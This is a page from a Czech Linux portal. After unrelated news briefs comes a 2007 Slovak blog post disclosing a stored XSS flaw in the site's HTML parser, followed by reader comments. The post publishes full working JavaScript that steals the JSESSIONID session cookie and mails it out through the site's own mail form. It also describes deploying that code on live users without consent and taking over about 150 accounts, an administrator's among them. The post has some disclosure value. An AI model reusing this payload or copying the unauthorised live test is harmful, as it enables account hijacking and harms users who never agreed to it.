PSF (Python Software Foundation) po mnoha měsících práce získala grant ve výši 1,5 milionu dolarů od americké vládní NSF (National Science Foundation) v rámci programu "Bezpečnost, ochrana a soukromí open source ekosystémů" na zvýšení bezpečnosti Pythonu a PyPI. PSF ale nesouhlasí s předloženou podmínkou grantu, že během trvání finanční podpory nebude žádným způsobem podporovat diverzitu, rovnost a inkluzi (DEI). PSF má diverzitu přímo ve svém poslání (Mission) a proto grant odmítla.
Balík nástrojů Rust Coreutils / uutils coreutils, tj. nástrojů z GNU Coreutils napsaných v programovacím jazyce Rust, byl vydán ve verzi 0.3.0. Z 634 testů kompatibility Rust Coreutils s GNU Coreutils bylo úspěšných 532, tj. 83,91 %. V Ubuntu 25.10 se již používá Rust Coreutils místo GNU Coreutils, což může přinášet problémy, viz například nefunkční automatická aktualizace.
Od 3. listopadu 2025 budou muset nová rozšíření Firefoxu specifikovat, zda shromažďují nebo sdílejí osobní údaje. Po všech rozšířeních to bude vyžadováno někdy v první polovině roku 2026. Tyto informace se zobrazí uživateli, když začne instalovat rozšíření, spolu s veškerými oprávněními, která rozšíření požaduje.
Jste nuceni pracovat s Linuxem? Chybí vám pohodlí, které vám poskytoval Microsoft, když vás špehoval a sledoval všechno, co děláte? Nebojte se. Recall for Linux vám vrátí všechny skvělé funkce Windows Recall, které vám chyběly.
Společnost Fre(i)e Software oznámila, že má budget na práci na Debianu pro tablety s cílem jeho vyžívání pro vzdělávací účely. Jako uživatelské prostředí bude použito Lomiri.
Proběhla hackerská soutěž Pwn2Own Ireland 2025. Celkově bylo vyplaceno 1 024 750 dolarů za 73 unikátních zranitelností nultého dne (0-day). Vítězný Summoning Team si odnesl 187 500 dolarů. Shrnutí po jednotlivých dnech na blogu Zero Day Initiative (1. den, 2. den a 3. den) a na YouTube.
Byl publikován říjnový přehled dění a novinek z vývoje Asahi Linuxu, tj. Linuxu pro Apple Silicon. Pracuje se na podpoře M3. Zanedlouho vyjde Fedora Asahi Remix 43. Vývojáře lze podpořit na Open Collective a GitHub Sponsors.
Iniciativa Open Device Partnership (ODP) nedávno představila projekt Patina. Jedná se o implementaci UEFI firmwaru v Rustu. Vývoj probíhá na GitHubu. Zdrojové kódy jsou k dispozici pod licencí Apache 2.0. Nejnovější verze Patiny je 13.0.0.
Obrovská poptávka po plynových turbínách zapříčinila, že datová centra začala používat v generátorech dodávajících energii pro provoz AI staré dobré proudové letecké motory, konvertované na plyn. Jejich výhodou je, že jsou menší, lehčí a lépe udržovatelné než jejich průmyslové protějšky. Proto jsou ideální pro dočasné nebo mobilní použití.
Typst byl vydán ve verzi 0.14. Jedná se o rozšiřitelný značkovací jazyk a překladač pro vytváření dokumentů včetně odborných textů s matematickými vzorci, diagramy či bibliografií.
Včera (23.07.2007) o 10:00 ráno ste určite mnohí narazili na podozrivo vyzerajúci zápis do blogu s názvom KUPUJEM portal abclinuxu.cz. Jednalo sa samozrejme o hoax, za ktorý sa všetkým ospravedlňujem. Nikto síce jeho obsahu príliš neveril, avšak svoj účel splnil - prilákať čo najväčšiu pozornosť. Fakt, že zápis obsahoval zákerný JavaScript, bol pred očami všetkých (alebo väčšiny) návštevníkov skrytý.
XSS je útok založený na schopnosti útočníka vložiť do stránky nejaký kód (HTML, JavaScript prípadne oboje) pomocou speciálne formulovaného linku alebo vstupu do formulára. Veľmi bežným príkladom sú napríklad prihlasovacie formuláre, ktoré sa svojim používateľom snažia veci uľahčiť. Po vložení loginu a hesla a za predpokladu, že heslo nebude správne, nám server vygeneruje formulár s už vyplneným loginom (rovnakým, aký bol zadaný). Formulár by mohol vyzerať napríklad takto:
<form action="login.php" method="post"> <input type="text" name="login" value=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Ak vstup, v tomto prípade samotný login, nie je korektne ošetrený od tzv. metaznakov (úvodzovky, apostrofy, je väčšie ako, je menšie ako, ...), útočník bude schopný do stránky vložiť svoj kód. Povedzme, že do vyššie uvedeného formulára zadáme do kolonky login tento reťazec (heslo dáme ľubovoľné):
"><script>alert('hack!');</script><q q="
Server, snažiac sa ušetriť nám náš drahocenný čas, vráti prihlasovací formulár a do kolonky login doplní nami zadaný reťazec. Vznikne tým niečo takéto:
<form action="login.php" method="post">
<input type="text" name="login" value=""><script>alert('hack!');</script><q q="">
<input type="password" name="heslo">
<input type="submit" value="Odoslat">
</form>
Pre pochopenie tohto útoku je najskôr potrebné porozumieť spôsobu, akým sa prihlasovanie a následné overovanie používateľov na weboch vykonáva.
Ihneď po prihlásení nejakého používateľa mu server vygeneruje unikátny identifikátor (reťazec náhodných znakov), ktorý zašle naspäť jedným z týchto dvoch spôsobov:
Tento identifikátor (označovaný ako SESSION_ID) sa následne počas trvania sedenia používa ako akési dočasné heslo. Server si ho priradí k určitému používateľovi a _každého_, kto mu tento identifikátor zašle, považuje za daného, autentifikovaného, používateľa a povolí mu prístup na jeho konto už bez ďaľšieho zadávania loginu a hesla. Po odhlásení je SESSION_ID na strane serveru vymazané (a teda už viac nepoužiteľné).
Session hijacking (alebo 'Krádež sedenia') spočíva v zmocnení sa SESSION_ID už prihláseného používateľa. Každý, komu sa to podarí, bude vystupovať ako daný používateľ a to _bez_ nutnosti zadávať login alebo heslo.
Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.
Parser sa mi podarilo oklamať týmto HTML kódom:
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.
Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):
var cookie = '';
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Najskôr som si ho chcel proste zaslat pomocou nejakého môjho skriptu niekde na webe (proste donútiť 'obeť' navštíviť niečo takéto: azuritov_web/skript.php?id=session_id ) avšak aby to bolo úplne transparentné, musel som na to použiť JavaScriptový 'XMLHttpRequest'. Narazil som však na problém: XMLHttpRequest sa bez výslovného povolenia od používateľa (v podobe dialógového okna vysvetlujúceho riziko) nepripojí mimo URL stránky, na ktorej JavaScript beží. Inými slovami, na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Pod mojími prstami následne vznikol tento kód (trochu skrátený):
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
var pole = xmlhttp.responseText.split(' ');
var kod = '';
var part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!
Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.
Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).
Nakoniec som sa od Leoša dozvedel, že sa vlastne jednalo o takmer _rok_ starú dieru, ktorej sa zjavne venovalo priliš málo času a postupne upadla do zabudnutia. Viz. bug #544. Chyba sa nenachádzala priamo v abclinuxu ale v knižnici htmlparser (v ktorej bola medzičasom opravená). Leošovi tento 'prešľap' netreba mať za zlé: Má toho naozaj veľa, takže sa ani nečudujem, že sa sem-tam niečo podobné objaví. Hlavne, že sa to dobre skončilo :) .
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="
var kod = '';
var cookie = '';
var xmlhttp = null;
function get_mail_data() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText != null) {
var pole = xmlhttp.responseText.split(' ');
var part_num = 0;
var cookie_var = document.cookie.split('; ');
while (part_num < cookie_var.length) {
if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') {
cookie = cookie_var[part_num].split('=')[1];
break;
}
part_num += 1;
}
part_num = 0;
while (part_num < pole.length) {
if (pole[part_num] == 'hodnotu') {
kod = pole[part_num+1].substring(0,4);
break;
}
part_num += 1;
}
send_cookie();
}
}
function get_mail() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.onreadystatechange = get_mail_data;
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224');
xmlhttp.send('');
}
}
function send_cookie() {
var failed = false;
try {
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e1) {
try {
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e2) {
xmlhttp = null;
}
}
if (! xmlhttp) {
if (typeof XMLHttpRequest != 'undefined') {
xmlhttp = new XMLHttpRequest();
} else {
failed = true;
}
}
if (! failed) {
xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish');
xmlhttp.send('');
}
}
get_mail();
">>
Tiskni
Sdílej:
Ale právě proto jsem to formuloval tak, abys mi nemoh vyčítat, že ti něco vyčítám
+1
ze jmena bloku to bylo partné : test2 
Jinak tohle je parádní blog, spíše to beru jako ukázkovou security kapitolu. V porovnání s blogy typu "Zkoušel jsem Gentoo, tak a tak...." je tohle alespoň něco pořádného.
Já bych v blocích psal samí blbosti, tak jsme s tím radči ani nezačal.
ze jmena bloku to bylo partné : test2Co je patrné? Copak nemůže být testovací zápisek v normálním blogu? Je nutné kvůli tomu vytvářet nové konto a k němu nový blog a zasírat tak abclinuxu mrtvými účty?
proste musis sa na nieco stazovat, tak si najdes hocijaku blbost.a) Proč myslíš, že si musím stěžovat? b) Nepovažuji to za blbost, proto o tom mluvím.
keby si chcel, tak to zmazat ide.Ano, technicky to možné je, ale udělat to nemůžeme, protože bychom tím smazali komentáře dalších uživatelů.
na abicku su doslova stovky nepouzivanych kont a urce velka kopa nepouzivanych blogov.A protože jich tu je spousta, tak jeden další už nevadí? Já bych raději, kdyby tu nebyly žádné nepoužívané účty a žádné nepoužívané blogy. Takže mi vadí každý další.
chces mi povedat, ze do majitela kazdeho jedneho z nich si tiez takto 'huboval' ako teraz do mna ? pochybujem o tom..No vidíš, pleteš se. Kdykoliv jsem si všiml, že někdo založil zbytečně nový účet, tak jsem ho na to upozornil a zeptal se, co ho k tomu vedlo. Kdykoliv někdo napíše požadavek, abych nějaké dva účty sloučili a ten starší (ke kterému třeba zapomněl heslo) vymazali, tak se to snažíme udělat. Takže jsem si nezasedl na tebe. Napsal bych to stejně komukoliv jinému - a nebylo by to poprvé.
Pak je tu jeste faktor nevdeku. Nekteri ctenari na chybu upozorni stylem "vy lumpove, nefunguje vam RSS, urcite to delate kvuli reklame". Nebo "pred hodinou jsem vam poslal upozorneni na chybu, ocekaval jsem okamzitou reakci a nic, zjevne je vam to uplne jedno". Pripadne "Proc nezabanujete trolla XY? Urcite to delate kvuli impresim reklame. Neplatite si ho nahodou, aby vam zvysoval navstevnost?". Pak to chce hodne trpelivosti, aby clovek nereagoval podrazdene.
)
Je to takový problém, že někde v DB je pár řádků navíc?Ne. Ale třeba v přehledu všech blogů to už tak jedno není.
kdybyste CHTĚLI, aby to šlo smazat (i přes to, že tam jsou komentáře), tak by to šlo. To víme oba dva.No samozřejmě, že by to technicky šlo. Ale tím bychom smazali komentáře všech těch lidí, kteří na zápisek reagovali - a proto to nemůžeme udělat. To víme oba dva, že? Já nemám nic proti zápisku, odhalení chyby v abíčku, ani proti diskuzi pod tím (naopak to oceňuji a jsem rád, že na to azurit upozornil). Mně vadí jen to, že kvůli tomu byl zbytečně založen další účet a blog.
Nemyslím, že tohle je dobré přirovnání. Hodilo by se spíše něco jako:
"Kdyby každý položil na ulici prázdnou krabici, neměl by je právě orgán k tomu pověřený sebrat a vyhodit?? I kdyby byly plné bordelu."Za předpokladu ignorování ideálního stavu neexistence nežádoucích krabic
neuvedomil si jej mozne nasledky (a vlastne preto jej nevenoval az taku pozornost, aku si 'zasluzila').Což je mimochodem hezký praktický příklad toho, proč raději než si s chybou nejdřív „pohrát“ je lepší nalezenou chybu rovnou oznámit adminovi nebo autorovi, který si asi snáz dovede dát dohromady možné následky. A to teď nemyslím jen tento konkrétní případ, ale obecně.